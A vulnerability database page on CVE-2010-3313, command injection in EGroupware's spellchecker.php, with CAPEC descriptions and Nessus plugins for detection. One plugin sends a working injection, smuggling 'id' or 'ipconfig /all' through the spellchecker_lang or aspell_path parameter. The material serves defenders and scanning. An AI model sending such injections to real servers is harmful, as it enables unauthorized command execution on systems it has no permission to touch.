Vulnerabilities > CVE-2010-3313 - Code Injection vulnerability in Egroupware

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
egroupware
CWE-94
nessus
exploit available

Summary

phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/serverscripts/spellchecker.php in EGroupware 1.4.001+.002; 1.6.001+.002 and possibly other versions before 1.6.003; and EPL 9.1 before 9.1.20100309 and 9.2 before 9.2.20100309; allows remote attackers to execute arbitrary commands via shell metacharacters in the (1) aspell_path or (2) spellchecker_lang parameters.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

descriptionEGroupware 1.6.002 and EGroupware Premium Line 9.1 Multiple Vulnerabilities. CVE-2010-3313,CVE-2010-3314. Webapps exploit for php platform
fileexploits/php/webapps/11777.txt
idEDB-ID:11777
last seen2016-02-01
modified2010-03-16
platformphp
port
published2010-03-16
reporterNahuel Grisolia
sourcehttps://www.exploit-db.com/download/11777/
titleegroupware 1.6.002 and egroupware premium line 9.1 - Multiple Vulnerabilities
typewebapps

Nessus

  • NASL familyGentoo Local Security Checks
    NASL idGENTOO_GLSA-201412-10.NASL
    descriptionThe remote host is affected by the vulnerability described in GLSA-201412-10 (Multiple packages, Multiple vulnerabilities fixed in 2012) Vulnerabilities have been discovered in the packages listed below. Please review the CVE identifiers in the Reference section for details. EGroupware VTE Layer Four Traceroute (LFT) Suhosin Slock Ganglia Jabber to GaduGadu Gateway Impact : A context-dependent attacker may be able to gain escalated privileges, execute arbitrary code, cause Denial of Service, obtain sensitive information, or otherwise bypass security restrictions. Workaround : There is no known workaround at this time.
    last seen2020-06-01
    modified2020-06-02
    plugin id79963
    published2014-12-15
    reporterThis script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/79963
    titleGLSA-201412-10 : Multiple packages, Multiple vulnerabilities fixed in 2012
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from Gentoo Linux Security Advisory GLSA 201412-10.
    #
    # The advisory text is Copyright (C) 2001-2019 Gentoo Foundation, Inc.
    # and licensed under the Creative Commons - Attribution / Share Alike 
    # license. See http://creativecommons.org/licenses/by-sa/3.0/
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(79963);
      script_version("1.5");
      script_cvs_date("Date: 2019/08/12 17:35:38");
    
      script_cve_id("CVE-2008-4776", "CVE-2010-2713", "CVE-2010-3313", "CVE-2010-3314", "CVE-2011-0765", "CVE-2011-2198", "CVE-2012-0807", "CVE-2012-0808", "CVE-2012-1620", "CVE-2012-2738", "CVE-2012-3448");
      script_bugtraq_id(41716, 46477, 48645, 51574, 52642, 52922, 54281, 54699);
      script_xref(name:"GLSA", value:"201412-10");
    
      script_name(english:"GLSA-201412-10 : Multiple packages, Multiple vulnerabilities fixed in 2012");
      script_summary(english:"Checks for updated package(s) in /var/db/pkg");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote Gentoo host is missing one or more security-related
    patches."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "The remote host is affected by the vulnerability described in GLSA-201412-10
    (Multiple packages, Multiple vulnerabilities fixed in 2012)
    
        Vulnerabilities have been discovered in the packages listed below.
          Please review the CVE identifiers in the Reference section for details.
          EGroupware
          VTE
          Layer Four Traceroute (LFT)
          Suhosin
          Slock
          Ganglia
          Jabber to GaduGadu Gateway
      
    Impact :
    
        A context-dependent attacker may be able to gain escalated privileges,
          execute arbitrary code, cause Denial of Service, obtain sensitive
          information, or otherwise bypass security restrictions.
      
    Workaround :
    
        There is no known workaround at this time."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://security.gentoo.org/glsa/201412-10"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "All EGroupware users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose
          '>=www-apps/egroupware-1.8.004.20120613'
        All VTE 0.32 users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=x11-libs/vte-0.32.2'
        All VTE 0.28 users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=x11-libs/vte-0.28.2-r204'
        All Layer Four Traceroute users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=net-analyzer/lft-3.33'
        All Suhosin users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=dev-php/suhosin-0.9.33'
        All Slock users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=x11-misc/slock-1.0'
        All Ganglia users should upgrade to the latest version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=sys-cluster/ganglia-3.3.7'
        All Jabber to GaduGadu Gateway users should upgrade to the latest
          version:
          # emerge --sync
          # emerge --ask --oneshot --verbose '>=net-im/gg-transport-2.2.4'
        NOTE: This is a legacy GLSA. Updates for all affected architectures have
          been available since 2013. It is likely that your system is already no
          longer affected by these issues."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_cwe_id(119);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:egroupware");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:ganglia");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:gg-transport");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:lft");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:slock");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:suhosin");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:gentoo:linux:vte");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:gentoo:linux");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2008/10/28");
      script_set_attribute(attribute:"patch_publication_date", value:"2014/12/11");
      script_set_attribute(attribute:"plugin_publication_date", value:"2014/12/15");
      script_set_attribute(attribute:"generated_plugin", value:"current");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2014-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Gentoo Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Gentoo/release", "Host/Gentoo/qpkg-list");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("qpkg.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Gentoo/release")) audit(AUDIT_OS_NOT, "Gentoo");
    if (!get_kb_item("Host/Gentoo/qpkg-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (qpkg_check(package:"dev-php/suhosin", unaffected:make_list("ge 0.9.33"), vulnerable:make_list("lt 0.9.33"))) flag++;
    if (qpkg_check(package:"net-analyzer/lft", unaffected:make_list("ge 3.33"), vulnerable:make_list("lt 3.33"))) flag++;
    if (qpkg_check(package:"x11-libs/vte", unaffected:make_list("ge 0.32.2", "rge 0.28.2-r204", "rge 0.28.2-r206"), vulnerable:make_list("lt 0.32.2"))) flag++;
    if (qpkg_check(package:"net-im/gg-transport", unaffected:make_list("ge 2.2.4"), vulnerable:make_list("lt 2.2.4"))) flag++;
    if (qpkg_check(package:"sys-cluster/ganglia", unaffected:make_list("ge 3.3.7"), vulnerable:make_list("lt 3.3.7"))) flag++;
    if (qpkg_check(package:"x11-misc/slock", unaffected:make_list("ge 1.0"), vulnerable:make_list("lt 1.0"))) flag++;
    if (qpkg_check(package:"www-apps/egroupware", unaffected:make_list("ge 1.8.004.20120613"), vulnerable:make_list("lt 1.8.004.20120613"))) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:qpkg_report_get());
      else security_hole(0);
      exit(0);
    }
    else
    {
      tested = qpkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "dev-php/suhosin / net-analyzer/lft / x11-libs/vte / etc");
    }
    
  • NASL familyDebian Local Security Checks
    NASL idDEBIAN_DSA-2013.NASL
    descriptionNahuel Grisolia discovered two vulnerabilities in Egroupware, a web-based groupware suite: Missing input sanitising in the spellchecker integration may lead to the execution of arbitrary commands and a cross-site scripting vulnerability was discovered in the login page.
    last seen2020-06-01
    modified2020-06-02
    plugin id45055
    published2010-03-15
    reporterThis script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/45055
    titleDebian DSA-2013-1 : egroupware - several vulnerabilities
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from Debian Security Advisory DSA-2013. The text 
    # itself is copyright (C) Software in the Public Interest, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(45055);
      script_version("1.10");
      script_cvs_date("Date: 2019/08/02 13:32:22");
    
      script_cve_id("CVE-2010-3313", "CVE-2010-3314");
      script_bugtraq_id(73832);
      script_xref(name:"DSA", value:"2013");
    
      script_name(english:"Debian DSA-2013-1 : egroupware - several vulnerabilities");
      script_summary(english:"Checks dpkg output for the updated package");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote Debian host is missing a security-related update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "Nahuel Grisolia discovered two vulnerabilities in Egroupware, a
    web-based groupware suite: Missing input sanitising in the
    spellchecker integration may lead to the execution of arbitrary
    commands and a cross-site scripting vulnerability was discovered in
    the login page."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=573279"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.debian.org/security/2010/dsa-2013"
      );
      script_set_attribute(
        attribute:"solution", 
        value:
    "Upgrade the egroupware packages.
    
    For the stable distribution (lenny), these problems have been fixed in
    version 1.4.004-2.dfsg-4.2.
    
    The upcoming stable distribution (squeeze), no longer contains
    egroupware packages."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:debian:debian_linux:egroupware");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:debian:debian_linux:5.0");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2010/03/11");
      script_set_attribute(attribute:"plugin_publication_date", value:"2010/03/15");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2010-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"Debian Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/Debian/release", "Host/Debian/dpkg-l");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("debian_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/Debian/release")) audit(AUDIT_OS_NOT, "Debian");
    if (!get_kb_item("Host/Debian/dpkg-l")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    if (deb_check(release:"5.0", prefix:"egroupware", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-addressbook", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-bookmarks", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-calendar", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-core", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-developer-tools", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-emailadmin", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-etemplate", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-felamimail", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-filemanager", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-infolog", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-manual", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-mydms", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-news-admin", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-phpbrain", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-phpsysinfo", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-polls", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-projectmanager", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-registration", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-resources", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-sambaadmin", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-sitemgr", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-timesheet", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-tracker", reference:"1.4.004-2.dfsg-4.2")) flag++;
    if (deb_check(release:"5.0", prefix:"egroupware-wiki", reference:"1.4.004-2.dfsg-4.2")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:deb_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyCGI abuses
    NASL idEGROUPWARE_SPELLCHECKER_CMD_EXEC.NASL
    descriptionThe version of eGroupWare hosted on the remote web server fails to sanitize user-supplied input to the
    last seen2020-06-01
    modified2020-06-02
    plugin id45023
    published2010-03-10
    reporterThis script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/45023
    titleeGroupWare spellchecker.php Arbitrary Shell Command Execution
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    
    include("compat.inc");
    
    
    if (description)
    {
      script_id(45023);
      script_version("1.14");
     script_cvs_date("Date: 2018/06/13 18:56:26");
    
      script_cve_id("CVE-2010-3313");
      script_bugtraq_id(38609, 38794);
      script_xref(name:"Secunia", value:"38859");
    
      script_name(english:"eGroupWare spellchecker.php Arbitrary Shell Command Execution");
      script_summary(english:"Tries to execute a command");
    
      script_set_attribute(
        attribute:"synopsis",
        value:
    "The remote web server contains a CGI script that can be abused to
    execute arbitrary commands."
      );
      script_set_attribute(
        attribute:"description",
        value:
    "The version of eGroupWare hosted on the remote web server fails to
    sanitize user-supplied input to the 'aspell_path' and/or
    'spellchecker_lang' parameters of the 'spellchecker.php' script before
    passing it to a shell.
    
    An unauthenticated, remote attacker can leverage these issues to
    execute arbitrary commands subject to the privileges under which the
    web server operates.
    
    Note that the install likely has a cross-site scripting vulnerability,
    although Nessus has not checked for this."
      );
      script_set_attribute(attribute:"see_also", value:"http://www.cybsec.com/vuln/cybsec_advisory_2010_0303_egroupware_.pdf");
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.egroupware.org/news?category_id=95&item=93"
      );
      script_set_attribute(
        attribute:"solution",
        value:
    "Upgrade to eGroupWare 1.6.003 / eGroupWare version EPL 9.1.20100309 /
    9.2.20100309 or later."
      );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
     script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
     script_set_attribute(attribute:"exploit_available", value:"true");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2010/03/09");
      script_set_attribute(attribute:"patch_publication_date", value:"2010/03/09");
      script_set_attribute(attribute:"plugin_publication_date", value:"2010/03/10");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:egroupware:egroupware");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      script_category(ACT_ATTACK);
      script_family(english:"CGI abuses");
    
      script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("egroupware_detect.nasl", "os_fingerprint.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80);
      script_require_keys("www/egroupware");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    include("url_func.inc");
    include("webapp_func.inc");
    include("data_protection.inc");
    
    port = get_http_port(default:80, php:TRUE);
    
    
    # Test an install.
    install = get_install_from_kb(appname:'egroupware', port:port);
    if (isnull(install)) exit(1, "eGroupWare wasn't detected on port "+port+".");
    dir = install['dir'];
    
    # nb: if you want to see multiline output under *nix, filter output and
    #     change newlines into carriage returns (eg, append '|tr "\n" "\r"'
    #     to the command) and the plugin will take care of that.
    os = get_kb_item("Host/OS");
    if (os)
    {
      if ("Windows" >< os) cmd = "ipconfig /all";
      else cmd = "id";
      cmds = make_list(cmd);
    }
    else cmds = make_list("id", "ipconfig /all");
    cmd_pats = make_array();
    cmd_pats["id"] = "uid=[0-9]+.*gid=[0-9]+.*";
    cmd_pats["ipconfig /all"] = "Subnet Mask";
    
    foreach cmd (cmds)
    {
      exploit = SCRIPT_NAME + '||' + cmd + ' ||';
      url = dir + '/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?' +
        'spellchecker_lang=' + urlencode(str:exploit);
    
      res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);
    
      # If the exploit didn't work and the "Perform thorough tests" setting is enabled, check for the other vuln.
      if (
        (!res[2] || !egrep(pattern:cmd_pats[cmd], string:res[2])) &&
        thorough_tests
      )
      {
        url = dir + '/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php?' +
          'aspell_path=' + urlencode(str:exploit);
    
        res = http_send_recv3(port:port, method:"GET", item:url, exit_on_fail:TRUE);
      }
    
      error = NULL;
      if (res[2] && "error = '" >< res[2])
      {
        foreach line (split(res[2], keep:FALSE))
          if (line =~ "^error = '")
          {
            error = line - "error = '";
            error = substr(error, 0, strlen(error)-2);
            break;
          }
      }
      if (isnull(error)) continue;
    
      # There's a problem if we see the expected command output.
      pat = cmd_pats[cmd];
    
      if (
        '-a --lang='+exploit >< error ||
        'Aspell program execution failed (`'+exploit >< error ||
        egrep(pattern:pat, string:error)
      )
      {
        output = strstr(error, "`\\n") - "`\\n";
        output = substr(output, 0, strlen(output)-2);
        output = str_replace(find:'\r', replace:'\n', string:output);
    
        if (egrep(pattern:pat, string:output))
        {
          if (report_verbosity > 0)
          {
            header =
              "Nessus was able to execute the command '" + cmd + "' on the" + '\n' +
              'remote host using the following URL';
            trailer = '';
    
            if (report_verbosity > 1)
            {
              output = data_protection::sanitize_uid(output:output);
              trailer =
                'This produced the following output :\n' +
                '\n' +
                crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n' +
                output + '\n' +
                crap(data:"-", length:30) + " snip " + crap(data:"-", length:30) + '\n';
            }
            report = get_vuln_report(items:url, port:port, header:header, trailer:trailer);
            security_hole(port:port, extra:report);
          }
          else security_hole(port);
        }
        else
        {
          if (report_verbosity > 0)
          {
            header =
              "Nessus tried to execute the command '" + cmd + "' on the" + '\n' +
              'remote host using the following URL';
            trailer =
              'While it did not receive the expected output, the install appears\n' +
              'vulnerable to attack based on the following error message generated\n' +
              'by the application :\n' +
              '\n' +
              "  " + error + '\n';
            report = get_vuln_report(items:url, port:port, header:header, trailer:trailer);
            security_hole(port:port, extra:report);
          }
          else security_hole(port);
        }
        exit(0);
      }
    }
    exit(0, "The eGroupWare install at "+build_url(port:port, qs:dir+"/")+" is not affected.");